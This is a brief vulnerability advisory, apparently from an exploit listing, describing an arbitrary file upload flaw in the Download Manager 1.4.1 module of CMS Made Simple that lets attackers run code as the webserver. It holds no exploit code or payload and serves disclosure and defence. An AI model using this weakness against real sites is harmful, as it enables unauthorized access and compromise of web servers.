CMS Made Simple Download Manager 1.4.1 Module Arbitrary File Upload Vulnerability. Webapps exploit for php platform


The Download Manager module for CMS Made Simple is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Download Manager version 1.4.1 is vulnerable; other versions may also be affected.
